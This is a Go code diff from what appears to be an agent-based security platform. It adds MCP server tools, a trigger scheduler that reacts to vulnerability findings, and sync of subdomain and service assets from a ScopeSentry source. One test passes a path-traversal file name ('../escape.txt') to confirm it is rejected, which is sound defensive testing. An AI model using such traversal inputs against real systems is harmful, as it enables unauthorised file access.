func (a mcpToolInput) toDB() *db.MCPServer {
|
||||
enabled := true
|
||||
if a.Enabled != nil {
|
||||
enabled = *a.Enabled
|
||||
}
|
||||
return &db.MCPServer{
|
||||
ID: a.ID, Name: a.Name, Transport: a.Transport, Command: a.Command,
|
||||
Args: a.Args, Env: a.Env, URL: a.URL, Enabled: enabled,
|
||||
}
|
||||
}
|
||||
|
||||
func (s *Server) toolCreateMCP() actool.CoreTool {
|
||||
return wrTool("create_mcp", "创建一个 MCP 服务器(stdio/http)。创建后其工具需按 agent 可见性授权。",
|
||||
mcpSchema(false),
|
||||
func(_ context.Context, in json.RawMessage) (actool.Result, error) {
|
||||
var a mcpToolInput
|
||||
_ = json.Unmarshal(in, &a)
|
||||
a.ID = 0
|
||||
if strings.TrimSpace(a.Name) == "" || strings.TrimSpace(a.Transport) == "" {
|
||||
return actool.Errorf("name / transport 必填"), nil
|
||||
}
|
||||
id, err := s.m.pg.SaveMCP(a.toDB())
|
||||
if err != nil {
|
||||
return actool.Errorf(err.Error()), nil
|
||||
}
|
||||
return actool.Text(fmt.Sprintf("mcp created: id=%d name=%s", id, a.Name)), nil
|
||||
})
|
||||
}
|
||||
|
||||
func (s *Server) toolUpdateMCP() actool.CoreTool {
|
||||
return wrTool("update_mcp", "修改一个已有的 MCP 服务器(按 id)。",
|
||||
mcpSchema(true),
|
||||
func(_ context.Context, in json.RawMessage) (actool.Result, error) {
|
||||
var a mcpToolInput
|
||||
_ = json.Unmarshal(in, &a)
|
||||
if a.ID == 0 {
|
||||
return actool.Errorf("id 必填"), nil
|
||||
}
|
||||
if _, err := s.m.pg.SaveMCP(a.toDB()); err != nil {
|
||||
return actool.Errorf(err.Error()), nil
|
||||
}
|
||||
return actool.Text(fmt.Sprintf("mcp updated: id=%d", a.ID)), nil
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// TestSkillTools functionally exercises create_skill + update_skill_file against a
|
||||
// temp skill dir (no DB needed — these tools only touch the filesystem).
|
||||
func TestSkillTools(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
s := &Server{skillDir: dir}
|
||||
|
||||
// create_skill writes a spec-compliant SKILL.md.
|
||||
in, _ := json.Marshal(map[string]any{
|
||||
"name": "my-skill", "description": "does X", "instructions": "## do\n1. a",
|
||||
})
|
||||
res, err := s.toolCreateSkill().Call(context.Background(), in, nil)
|
||||
if err != nil || res.IsError {
|
||||
t.Fatalf("create_skill: err=%v result=%+v", err, res)
|
||||
}
|
||||
md, err := os.ReadFile(filepath.Join(dir, "my-skill", "SKILL.md"))
|
||||
if err != nil {
|
||||
t.Fatalf("SKILL.md not written: %v", err)
|
||||
}
|
||||
if !strings.Contains(string(md), "name: my-skill") || !strings.Contains(string(md), "description: does X") || !strings.Contains(string(md), "1. a") {
|
||||
t.Fatalf("SKILL.md content:\n%s", md)
|
||||
}
|
||||
|
||||
// creating the same skill again fails.
|
||||
if r, _ := s.toolCreateSkill().Call(context.Background(), in, nil); !r.IsError {
|
||||
t.Fatal("duplicate create should error")
|
||||
}
|
||||
|
||||
// invalid name rejected.
|
||||
bad, _ := json.Marshal(map[string]any{"name": "Bad Name", "description": "x"})
|
||||
if r, _ := s.toolCreateSkill().Call(context.Background(), bad, nil); !r.IsError {
|
||||
t.Fatal("invalid skill name should error")
|
||||
}
|
||||
|
||||
// update_skill_file writes a nested script; path traversal is rejected.
|
||||
up, _ := json.Marshal(map[string]any{"name": "my-skill", "file": "scripts/run.py", "content": "print(1)"})
|
||||
if r, err := s.toolUpdateSkillFile().Call(context.Background(), up, nil); err != nil || r.IsError {
|
||||
t.Fatalf("update_skill_file: err=%v result=%+v", err, r)
|
||||
}
|
||||
got, err := os.ReadFile(filepath.Join(dir, "my-skill", "scripts", "run.py"))
|
||||
if err != nil || string(got) != "print(1)" {
|
||||
t.Fatalf("nested file not written: %v %q", err, got)
|
||||
}
|
||||
evil, _ := json.Marshal(map[string]any{"name": "my-skill", "file": "../escape.txt", "content": "x"})
|
||||
if r, _ := s.toolUpdateSkillFile().Call(context.Background(), evil, nil); !r.IsError {
|
||||
t.Fatal("path traversal should be rejected")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,247 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
"github.com/Autumn-27/artex/db"
|
||||
)
|
||||
|
||||
// Scheduler drives P3 triggers: on each tick it fires due interval triggers and
|
||||
// scans for new findings / newly-met goals (any task) to fire event triggers.
|
||||
// Each fire enqueues a NEW conversation on the agent's per-agent trigger queue
|
||||
// (StartTriggeredRun): fires for the same agent run one at a time in FIFO order,
|
||||
// distinct agents still run concurrently. State is persisted (per-trigger last_fire
|
||||
// + finding watermark + fired-goal set) so a restart resumes without double-firing.
|
||||
// Triggers only attach to CUSTOM agents.
|
||||
type Scheduler struct {
|
||||
s *Server
|
||||
pg *db.DB
|
||||
tick time.Duration
|
||||
}
|
||||
|
||||
const (
|
||||
schedKeyLastFinding = "last_finding_id" // watermark: max finding node id fired for
|
||||
schedKeyFiredGoals = "fired_goals" // JSON array of goal node ids already fired
|
||||
schedKeyLastTimeout = "last_timeout_id" // watermark: max task id fired for task timeout
|
||||
)
|
||||
|
||||
func newScheduler(s *Server) *Scheduler {
|
||||
return &Scheduler{s: s, pg: s.m.pg, tick: 5 * time.Second}
|
||||
}
|
||||
|
||||
// Run loops until ctx is done, ticking the scheduler. Started once from server New.
|
||||
func (sc *Scheduler) Run(ctx context.Context) {
|
||||
if sc.pg == nil {
|
||||
return
|
||||
}
|
||||
sc.init()
|
||||
t := time.NewTicker(sc.tick)
|
||||
defer t.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-t.C:
|
||||
sc.step()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// init seeds the watermarks on first run so pre-existing findings/goals don't all
|
||||
// fire at once — only events created AFTER the scheduler first starts count.
|
||||
func (sc *Scheduler) init() {
|
||||
if sc.mustState(schedKeyLastFinding) == "" {
|
||||
var maxID int64
|
||||
if evs, err := sc.pg.NewFindingsSince(0); err == nil {
|
||||
for _, e := range evs {
|
||||
if e.NodeID > maxID {
|
||||
maxID = e.NodeID
|
||||
}
|
||||
}
|
||||
}
|
||||
_ = sc.pg.SetSchedState(schedKeyLastFinding, strconv.FormatInt(maxID, 10))
|
||||
}
|
||||
if sc.mustState(schedKeyFiredGoals) == "" {
|
||||
set := map[int64]bool{}
|
||||
if evs, err := sc.pg.MetGoals(); err == nil {
|
||||
for _, e := range evs {
|
||||
set[e.NodeID] = true
|
||||
}
|
||||
}
|
||||
sc.saveFiredGoalSet(set)
|
||||
}
|
||||
if sc.mustState(schedKeyLastTimeout) == "" {
|
||||
var maxID int64
|
||||
if evs, err := sc.pg.TimedOutTasksSince(0); err == nil {
|
||||
for _, e := range evs {
|
||||
if e.NodeID > maxID {
|
||||
maxID = e.NodeID
|
||||
}
|
||||
}
|
||||
}
|
||||
_ = sc.pg.SetSchedState(schedKeyLastTimeout, strconv.FormatInt(maxID, 10))
|
||||
}
|
||||
}
|
||||
|
||||
func (sc *Scheduler) step() {
|
||||
triggers, err := sc.pg.ListEnabledTriggers()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if len(triggers) == 0 {
|
||||
return
|
||||
}
|
||||
sc.fireIntervals(triggers)
|
||||
sc.fireFindings(triggers)
|
||||
sc.fireGoals(triggers)
|
||||
sc.fireTaskTimeouts(triggers)
|
||||
}
|
||||
|
||||
// fireIntervals fires triggers whose interval has elapsed since last_fire.
|
||||
func (sc *Scheduler) fireIntervals(triggers []*db.AgentTrigger) {
|
||||
now := time.Now()
|
||||
for _, tr := range triggers {
|
||||
if tr.IntervalSec <= 0 {
|
||||
continue
|
||||
}
|
||||
due := tr.LastFire == nil || now.Sub(*tr.LastFire) >= time.Duration(tr.IntervalSec)*time.Second
|
||||
if !due {
|
||||
continue
|
||||
}
|
||||
_ = sc.pg.TouchTriggerFire(tr.ID)
|
||||
ctx := "\n\n【本次为定时触发】" + now.Format(" 2006-01-02 15:04:05 MST")
|
||||
sc.s.StartTriggeredRun(tr.AgentKey, fmt.Sprintf("定时触发 · %s", now.Format("15:04")), tr.IntervalMessage+ctx, 0, false)
|
||||
}
|
||||
}
|
||||
|
||||
// fireFindings fires on_finding triggers for findings above the persisted
|
||||
// watermark (monotonic node id → no double-fire across restarts).
|
||||
func (sc *Scheduler) fireFindings(triggers []*db.AgentTrigger) {
|
||||
var want []*db.AgentTrigger
|
||||
for _, tr := range triggers {
|
||||
if tr.OnFinding {
|
||||
want = append(want, tr)
|
||||
}
|
||||
}
|
||||
if len(want) == 0 {
|
||||
return
|
||||
}
|
||||
last, _ := strconv.ParseInt(sc.mustState(schedKeyLastFinding), 10, 64)
|
||||
events, err := sc.pg.NewFindingsSince(last)
|
||||
if err != nil || len(events) == 0 {
|
||||
return
|
||||
}
|
||||
maxID := last
|
||||
for _, e := range events {
|
||||
if e.NodeID > maxID {
|
||||
maxID = e.NodeID
|
||||
}
|
||||
msgCtx := fmt.Sprintf("\n\n【本次由任务发现 finding 触发】\n任务: #%d %s（目标：%s）\n发现: [%s/%s] %s",
|
||||
e.TaskID, e.TaskDesc, e.TaskGoal, e.VulnClass, e.Severity, e.Summary)
|
||||
for _, tr := range want {
|
||||
sc.s.StartTriggeredRun(tr.AgentKey, fmt.Sprintf("finding 触发 · task#%d", e.TaskID), tr.FindingMessage+msgCtx, e.TaskID, true)
|
||||
}
|
||||
}
|
||||
_ = sc.pg.SetSchedState(schedKeyLastFinding, strconv.FormatInt(maxID, 10))
|
||||
}
|
||||
|
||||
// fireGoals fires on_goal_met triggers for met goals not yet in the fired set.
|
||||
func (sc *Scheduler) fireGoals(triggers []*db.AgentTrigger) {
|
||||
var want []*db.AgentTrigger
|
||||
for _, tr := range triggers {
|
||||
if tr.OnGoalMet {
|
||||
want = append(want, tr)
|
||||
}
|
||||
}
|
||||
if len(want) == 0 {
|
||||
return
|
||||
}
|
||||
events, err := sc.pg.MetGoals()
|
||||
if err != nil || len(events) == 0 {
|
||||
return
|
||||
}
|
||||
fired := sc.firedGoalSet()
|
||||
changed := false
|
||||
for _, e := range events {
|
||||
if fired[e.NodeID] {
|
||||
continue
|
||||
}
|
||||
fired[e.NodeID] = true
|
||||
changed = true
|
||||
msgCtx := fmt.Sprintf("\n\n【本次由任务完成目标触发】\n任务: #%d %s（目标：%s）\n达成目标: %s",
|
||||
e.TaskID, e.TaskDesc, e.TaskGoal, e.Summary)
|
||||
for _, tr := range want {
|
||||
sc.s.StartTriggeredRun(tr.AgentKey, fmt.Sprintf("目标触发 · task#%d", e.TaskID), tr.GoalMessage+msgCtx, e.TaskID, true)
|
||||
}
|
||||
}
|
||||
if changed {
|
||||
sc.saveFiredGoalSet(fired)
|
||||
}
|
||||
}
|
||||
|
||||
// fireTaskTimeouts fires on_task_timeout triggers for tasks that newly reached
|
||||
// status='timeout' above the persisted watermark (task id → no double-fire).
|
||||
func (sc *Scheduler) fireTaskTimeouts(triggers []*db.AgentTrigger) {
|
||||
var want []*db.AgentTrigger
|
||||
for _, tr := range triggers {
|
||||
if tr.OnTaskTimeout {
|
||||
want = append(want, tr)
|
||||
}
|
||||
}
|
||||
if len(want) == 0 {
|
||||
return
|
||||
}
|
||||
last, _ := strconv.ParseInt(sc.mustState(schedKeyLastTimeout), 10, 64)
|
||||
events, err := sc.pg.TimedOutTasksSince(last)
|
||||
if err != nil || len(events) == 0 {
|
||||
return
|
||||
}
|
||||
maxID := last
|
||||
for _, e := range events {
|
||||
if e.NodeID > maxID {
|
||||
maxID = e.NodeID
|
||||
}
|
||||
msgCtx := fmt.Sprintf("\n\n【本次由任务超时触发】\n任务: #%d %s（目标：%s）",
|
||||
e.TaskID, e.TaskDesc, e.TaskGoal)
|
||||
for _, tr := range want {
|
||||
sc.s.StartTriggeredRun(tr.AgentKey, fmt.Sprintf("超时触发 · task#%d", e.TaskID), tr.TaskTimeoutMessage+msgCtx, e.TaskID, true)
|
||||
}
|
||||
}
|
||||
_ = sc.pg.SetSchedState(schedKeyLastTimeout, strconv.FormatInt(maxID, 10))
|
||||
}
|
||||
|
||||
func (sc *Scheduler) mustState(key string) string {
|
||||
v, _ := sc.pg.GetSchedState(key)
|
||||
return v
|
||||
}
|
||||
|
||||
func (sc *Scheduler) firedGoalSet() map[int64]bool {
|
||||
out := map[int64]bool{}
|
||||
raw := sc.mustState(schedKeyFiredGoals)
|
||||
if raw == "" {
|
||||
return out
|
||||
}
|
||||
var ids []int64
|
||||
if json.Unmarshal([]byte(raw), &ids) == nil {
|
||||
for _, id := range ids {
|
||||
out[id] = true
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func (sc *Scheduler) saveFiredGoalSet(set map[int64]bool) {
|
||||
ids := make([]int64, 0, len(set))
|
||||
for id := range set {
|
||||
ids = append(ids, id)
|
||||
}
|
||||
b, _ := json.Marshal(ids)
|
||||
if err := sc.pg.SetSchedState(schedKeyFiredGoals, string(b)); err != nil {
|
||||
log.Printf("[scheduler] save fired goals failed: %v", err)
|
||||
}
|
||||
}
|
||||
+1757
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,513 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/Autumn-27/artex/db"
|
||||
"github.com/Autumn-27/artex/mcphttp"
|
||||
)
|
||||
|
||||
// 资产同步（ScopeSentry 数据源）。
|
||||
//
|
||||
// ScopeSentry 是一个 ASM 资产测绘平台，通过其 MCP 接口按【项目】/【任务】两个维度
|
||||
// 拉取子域名、Web 应用、服务等资产，映射为 ARTEX 的公司 + 资产模型。数据源本身是
|
||||
// 一个名为 "ScopeSentry" 的 http 传输 MCP 行（url + X-API-Key 头保存在 mcp_servers）。
|
||||
//
|
||||
// 与 agent 工具层不同，这里用 mcphttp.Client.Call 直接调用 MCP 工具、拿原始 JSON，
|
||||
// 不触发 AskUser 权限弹窗（后台批量同步）。
|
||||
|
||||
const (
|
||||
scopeSentryMCPName = "ScopeSentry"
|
||||
syncMaxPerType = 5000 // 单目标单类型的入库保护上限
|
||||
syncDefaultPage = 100
|
||||
)
|
||||
|
||||
// findMCPByName returns the MCP server row with the given name, or nil.
|
||||
func (s *Server) findMCPByName(name string) (*db.MCPServer, error) {
|
||||
all, err := s.m.pg.ListMCP()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, m := range all {
|
||||
if m.Name == name {
|
||||
return m, nil
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
// scopeSentryClient dials the configured ScopeSentry MCP (http transport). The env
|
||||
// map doubles as HTTP headers (X-API-Key). Callers must Close the client.
|
||||
func (s *Server) scopeSentryClient(ctx context.Context) (*mcphttp.Client, error) {
|
||||
m, err := s.findMCPByName(scopeSentryMCPName)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if m == nil {
|
||||
return nil, fmt.Errorf("数据源 %s 不存在，请先创建", scopeSentryMCPName)
|
||||
}
|
||||
if m.URL == "" {
|
||||
return nil, fmt.Errorf("数据源 %s 未配置 URL，请先配置", scopeSentryMCPName)
|
||||
}
|
||||
return mcphttp.New(ctx, m.Name, m.URL, jsonStrMap(m.Env))
|
||||
}
|
||||
|
||||
// envHasValue reports whether the env/header map has any non-empty value
|
||||
// (i.e. an API key / Authorization header was filled in).
|
||||
func envHasValue(raw json.RawMessage) bool {
|
||||
for _, v := range jsonStrMap(raw) {
|
||||
if strings.TrimSpace(v) != "" {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// ---------- GET /api/sync/scopesentry/status ----------
|
||||
|
||||
func (s *Server) syncSSStatus(w http.ResponseWriter, r *http.Request) {
|
||||
if s.pg(w) == nil {
|
||||
return
|
||||
}
|
||||
m, err := s.findMCPByName(scopeSentryMCPName)
|
||||
if err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
resp := map[string]any{
|
||||
"exists": m != nil,
|
||||
"configured": false,
|
||||
"enabled": false,
|
||||
"reachable": false,
|
||||
"tools": []string{},
|
||||
}
|
||||
if m == nil {
|
||||
writeJSON(w, 200, resp)
|
||||
return
|
||||
}
|
||||
configured := m.URL != "" && envHasValue(m.Env)
|
||||
resp["configured"] = configured
|
||||
resp["enabled"] = m.Enabled
|
||||
resp["url"] = m.URL
|
||||
if m.Tools != nil {
|
||||
resp["tools"] = m.Tools
|
||||
}
|
||||
// Light reachability probe only when it can actually connect.
|
||||
if configured && m.Enabled {
|
||||
ctx, cancel := context.WithTimeout(r.Context(), 12*time.Second)
|
||||
defer cancel()
|
||||
if cl, cerr := mcphttp.New(ctx, m.Name, m.URL, jsonStrMap(m.Env)); cerr == nil {
|
||||
if _, terr := cl.Tools(ctx); terr == nil {
|
||||
resp["reachable"] = true
|
||||
}
|
||||
_ = cl.Close()
|
||||
}
|
||||
}
|
||||
writeJSON(w, 200, resp)
|
||||
}
|
||||
|
||||
// ---------- POST /api/sync/scopesentry/datasource ----------
|
||||
// Creates the placeholder row if missing, and/or sets URL + API key and enables it.
|
||||
|
||||
func (s *Server) syncSSDatasource(w http.ResponseWriter, r *http.Request) {
|
||||
pg := s.pg(w)
|
||||
if pg == nil {
|
||||
return
|
||||
}
|
||||
var body struct {
|
||||
URL string `json:"url"`
|
||||
APIKey string `json:"api_key"`
|
||||
}
|
||||
_ = decode(r, &body) // empty body = just create the placeholder
|
||||
body.URL = strings.TrimSpace(body.URL)
|
||||
body.APIKey = strings.TrimSpace(body.APIKey)
|
||||
|
||||
m, err := s.findMCPByName(scopeSentryMCPName)
|
||||
if err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
if m == nil {
|
||||
m = &db.MCPServer{Name: scopeSentryMCPName, Transport: "http", Env: json.RawMessage(`{"X-API-Key":""}`)}
|
||||
}
|
||||
if body.URL != "" {
|
||||
m.URL = body.URL
|
||||
}
|
||||
if body.APIKey != "" {
|
||||
env, _ := json.Marshal(map[string]string{"X-API-Key": body.APIKey})
|
||||
m.Env = env
|
||||
}
|
||||
// Enable only once it can actually be used.
|
||||
m.Enabled = m.URL != "" && envHasValue(m.Env)
|
||||
|
||||
id, err := pg.SaveMCP(m)
|
||||
if err != nil {
|
||||
writeErr(w, 500, err.Error())
|
||||
return
|
||||
}
|
||||
m.ID = id
|
||||
// Best-effort tool discovery so the status card shows tools right away.
|
||||
if m.Enabled {
|
||||
ctx, cancel := context.WithTimeout(r.Context(), 30*time.Second)
|
||||
_ = s.discoverAndCacheMCP(ctx, m)
|
||||
cancel()
|
||||
}
|
||||
writeJSON(w, 200, map[string]any{"id": id, "enabled": m.Enabled})
|
||||
}
|
||||
|
||||
// ---------- GET /api/sync/scopesentry/projects ----------
|
||||
|
||||
func (s *Server) syncSSProjects(w http.ResponseWriter, r *http.Request) {
|
||||
if s.pg(w) == nil {
|
||||
return
|
||||
}
|
||||
ctx, cancel := context.WithTimeout(r.Context(), 60*time.Second)
|
||||
defer cancel()
|
||||
cl, err := s.scopeSentryClient(ctx)
|
||||
if err != nil {
|
||||
writeErr(w, 502, err.Error())
|
||||
return
|
||||
}
|
||||
defer cl.Close()
|
||||
|
||||
args := map[string]any{
|
||||
"pageIndex": queryInt(r, "page", 1),
|
||||
"pageSize": queryInt(r, "size", 50),
|
||||
}
|
||||
if q := r.URL.Query().Get("search"); q != "" {
|
||||
args["search"] = q
|
||||
}
|
||||
text, err := cl.Call(ctx, "list_projects_data", args)
|
||||
if err != nil {
|
||||
writeErr(w, 502, "list_projects_data 失败: "+err.Error())
|
||||
return
|
||||
}
|
||||
// {result:{All:[{id,name,logo,AssetCount,tag}], <tag>:[...]}, tag:{...}}
|
||||
var env struct {
|
||||
Result map[string]json.RawMessage `json:"result"`
|
||||
Tag map[string]int `json:"tag"`
|
||||
}
|
||||
if err := json.Unmarshal([]byte(text), &env); err != nil {
|
||||
writeErr(w, 502, "解析项目列表失败: "+err.Error())
|
||||
return
|
||||
}
|
||||
projects := json.RawMessage("[]")
|
||||
if raw, ok := env.Result["All"]; ok && len(raw) > 0 {
|
||||
projects = raw
|
||||
}
|
||||
writeJSON(w, 200, map[string]any{"projects": projects, "tag": env.Tag})
|
||||
}
|
||||
|
||||
// ---------- GET /api/sync/scopesentry/tasks ----------
|
||||
|
||||
func (s *Server) syncSSTasks(w http.ResponseWriter, r *http.Request) {
|
||||
if s.pg(w) == nil {
|
||||
return
|
||||
}
|
||||
ctx, cancel := context.WithTimeout(r.Context(), 60*time.Second)
|
||||
defer cancel()
|
||||
cl, err := s.scopeSentryClient(ctx)
|
||||
if err != nil {
|
||||
writeErr(w, 502, err.Error())
|
||||
return
|
||||
}
|
||||
defer cl.Close()
|
||||
|
||||
args := map[string]any{
|
||||
"pageIndex": queryInt(r, "page", 1),
|
||||
"pageSize": queryInt(r, "size", 50),
|
||||
}
|
||||
if q := r.URL.Query().Get("search"); q != "" {
|
||||
args["search"] = q
|
||||
}
|
||||
text, err := cl.Call(ctx, "list_tasks", args)
|
||||
if err != nil {
|
||||
writeErr(w, 502, "list_tasks 失败: "+err.Error())
|
||||
return
|
||||
}
|
||||
var env struct {
|
||||
List json.RawMessage `json:"list"`
|
||||
}
|
||||
if err := json.Unmarshal([]byte(text), &env); err != nil {
|
||||
writeErr(w, 502, "解析任务列表失败: "+err.Error())
|
||||
return
|
||||
}
|
||||
tasks := env.List
|
||||
if len(tasks) == 0 {
|
||||
tasks = json.RawMessage("[]")
|
||||
}
|
||||
writeJSON(w, 200, map[string]any{"tasks": tasks})
|
||||
}
|
||||
|
||||
// ---------- POST /api/sync/scopesentry/sync ----------
|
||||
|
||||
type ssSyncReq struct {
|
||||
Dimension string `json:"dimension"` // "project" | "task"
|
||||
Targets []string `json:"targets"` // project ObjectIDs, or task names
|
||||
AssetTypes []string `json:"asset_types"` // subdomain | app | service
|
||||
CreateCompany bool `json:"create_company"`
|
||||
PageSize int `json:"page_size"`
|
||||
}
|
||||
|
||||
func (s *Server) syncSSRun(w http.ResponseWriter, r *http.Request) {
|
||||
if s.pg(w) == nil {
|
||||
return
|
||||
}
|
||||
as := s.assetStore()
|
||||
cs := s.companyStore()
|
||||
if as == nil || cs == nil {
|
||||
writeErr(w, 503, "database unavailable")
|
||||
return
|
||||
}
|
||||
var req ssSyncReq
|
||||
if err := decode(r, &req); err != nil {
|
||||
writeErr(w, 400, "invalid JSON: "+err.Error())
|
||||
return
|
||||
}
|
||||
if req.Dimension != "project" && req.Dimension != "task" {
|
||||
writeErr(w, 400, "dimension 必须是 project 或 task")
|
||||
return
|
||||
}
|
||||
if len(req.Targets) == 0 {
|
||||
writeErr(w, 400, "targets 不能为空")
|
||||
return
|
||||
}
|
||||
if len(req.AssetTypes) == 0 {
|
||||
req.AssetTypes = []string{"subdomain", "service", "app"}
|
||||
}
|
||||
pageSize := req.PageSize
|
||||
if pageSize <= 0 || pageSize > 500 {
|
||||
pageSize = syncDefaultPage
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(r.Context(), 10*time.Minute)
|
||||
defer cancel()
|
||||
cl, err := s.scopeSentryClient(ctx)
|
||||
if err != nil {
|
||||
writeErr(w, 502, err.Error())
|
||||
return
|
||||
}
|
||||
defer cl.Close()
|
||||
|
||||
synced := map[string]int{"subdomain": 0, "app": 0, "service": 0, "ip": 0}
|
||||
var companies []string
|
||||
var warnings, errs []string
|
||||
madeCompany := false
|
||||
|
||||
for _, target := range req.Targets {
|
||||
filter := map[string]any{}
|
||||
switch req.Dimension {
|
||||
case "project":
|
||||
filter["project"] = []string{target}
|
||||
if req.CreateCompany {
|
||||
name, roots, perr := s.ssProjectMeta(ctx, cl, target)
|
||||
if perr != nil {
|
||||
warnings = append(warnings, fmt.Sprintf("项目 %s 详情获取失败: %v", target, perr))
|
||||
} else if name != "" {
|
||||
cid, cerr := cs.UpsertByName(name)
|
||||
if cerr != nil {
|
||||
warnings = append(warnings, fmt.Sprintf("公司 %s 创建失败: %v", name, cerr))
|
||||
} else {
|
||||
companies = append(companies, name)
|
||||
madeCompany = true
|
||||
if len(roots) > 0 {
|
||||
cs.AddScope(cid, roots, "scopesentry:"+name)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
case "task":
|
||||
filter["task"] = []string{target}
|
||||
}
|
||||
|
||||
for _, at := range req.AssetTypes {
|
||||
ssType, ok := map[string]string{"subdomain": "subdomain", "service": "asset", "app": "app"}[at]
|
||||
if !ok {
|
||||
warnings = append(warnings, "未知资产类型，已跳过: "+at)
|
||||
continue
|
||||
}
|
||||
items, truncated, ferr := s.ssPageAll(ctx, cl, ssType, filter, pageSize)
|
||||
if ferr != nil {
|
||||
errs = append(errs, fmt.Sprintf("%s(%s) 拉取失败: %v", at, target, ferr))
|
||||
continue
|
||||
}
|
||||
if truncated {
|
||||
warnings = append(warnings, fmt.Sprintf("%s(%s) 达到 %d 条上限，已截断", at, target, syncMaxPerType))
|
||||
}
|
||||
for _, raw := range items {
|
||||
if e := s.ssIngest(as, at, raw, synced); e != "" {
|
||||
errs = append(errs, e)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Rebuild company attribution so freshly-synced assets attach to their company
|
||||
// (scope was written above; assets came after).
|
||||
if madeCompany {
|
||||
_ = cs.RecomputeAttribution()
|
||||
}
|
||||
|
||||
writeJSON(w, 200, map[string]any{
|
||||
"synced": synced,
|
||||
"companies": companies,
|
||||
"warnings": warnings,
|
||||
"errors": errs,
|
||||
})
|
||||
}
|
||||
|
||||
// ssProjectMeta fetches a project's display name and its target root domains
|
||||
// (get_project.target is a newline-separated list) for company + scope creation.
|
||||
func (s *Server) ssProjectMeta(ctx context.Context, cl *mcphttp.Client, projectID string) (name string, roots []string, err error) {
|
||||
text, err := cl.Call(ctx, "get_project", map[string]any{"id": projectID})
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
var p struct {
|
||||
Name string `json:"name"`
|
||||
Target string `json:"target"`
|
||||
}
|
||||
if err := json.Unmarshal([]byte(text), &p); err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
for _, line := range strings.Split(p.Target, "\n") {
|
||||
if t := strings.TrimSpace(line); t != "" {
|
||||
roots = append(roots, t)
|
||||
}
|
||||
}
|
||||
return p.Name, roots, nil
|
||||
}
|
||||
|
||||
// ssPageAll pages through list_assets for one asset_type + filter until a short/empty
|
||||
// page or the protection cap. The {list:[...]} envelope has no total, so we stop when
|
||||
// a page returns fewer than pageSize items.
|
||||
func (s *Server) ssPageAll(ctx context.Context, cl *mcphttp.Client, ssType string, filter map[string]any, pageSize int) (items []json.RawMessage, truncated bool, err error) {
|
||||
for page := 1; ; page++ {
|
||||
args := map[string]any{"asset_type": ssType, "pageIndex": page, "pageSize": pageSize}
|
||||
if len(filter) > 0 {
|
||||
args["filter"] = filter
|
||||
}
|
||||
text, cerr := cl.Call(ctx, "list_assets", args)
|
||||
if cerr != nil {
|
||||
return items, truncated, cerr
|
||||
}
|
||||
var env struct {
|
||||
List []json.RawMessage `json:"list"`
|
||||
}
|
||||
if uerr := json.Unmarshal([]byte(text), &env); uerr != nil {
|
||||
return items, truncated, uerr
|
||||
}
|
||||
if len(env.List) == 0 {
|
||||
break
|
||||
}
|
||||
items = append(items, env.List...)
|
||||
if len(items) >= syncMaxPerType {
|
||||
items = items[:syncMaxPerType]
|
||||
truncated = true
|
||||
break
|
||||
}
|
||||
if len(env.List) < pageSize {
|
||||
break
|
||||
}
|
||||
}
|
||||
return items, truncated, nil
|
||||
}
|
||||
|
||||
// ssIngest maps one ScopeSentry asset JSON to the ARTEX asset store and upserts it.
|
||||
// Returns a non-empty error string on failure. synced is incremented per kind.
|
||||
func (s *Server) ssIngest(as *db.AssetStore, assetType string, raw json.RawMessage, synced map[string]int) string {
|
||||
switch assetType {
|
||||
case "subdomain":
|
||||
var it struct {
|
||||
Host string `json:"host"`
|
||||
Type string `json:"type"`
|
||||
Value []string `json:"value"`
|
||||
IP []string `json:"ip"`
|
||||
}
|
||||
if err := json.Unmarshal(raw, &it); err != nil {
|
||||
return "subdomain 解析失败: " + err.Error()
|
||||
}
|
||||
if it.Host == "" {
|
||||
return ""
|
||||
}
|
||||
if _, err := as.UpsertSubdomain(db.UpsertSubdomainReq{Domain: it.Host, RecordType: it.Type, RecordValue: it.Value}); err != nil {
|
||||
return "subdomain " + it.Host + ": " + err.Error()
|
||||
}
|
||||
synced["subdomain"]++
|
||||
for _, ip := range it.IP {
|
||||
if ip != "" {
|
||||
if _, err := as.UpsertIP(db.UpsertIPReq{IP: ip, BoundDomains: []string{it.Host}}); err == nil {
|
||||
synced["ip"]++
|
||||
}
|
||||
}
|
||||
}
|
||||
case "app":
|
||||
var it struct {
|
||||
Name string `json:"name"`
|
||||
Category string `json:"category"`
|
||||
Description string `json:"description"`
|
||||
ICP string `json:"icp"`
|
||||
}
|
||||
if err := json.Unmarshal(raw, &it); err != nil {
|
||||
return "app 解析失败: " + err.Error()
|
||||
}
|
||||
if it.Name == "" {
|
||||
return ""
|
||||
}
|
||||
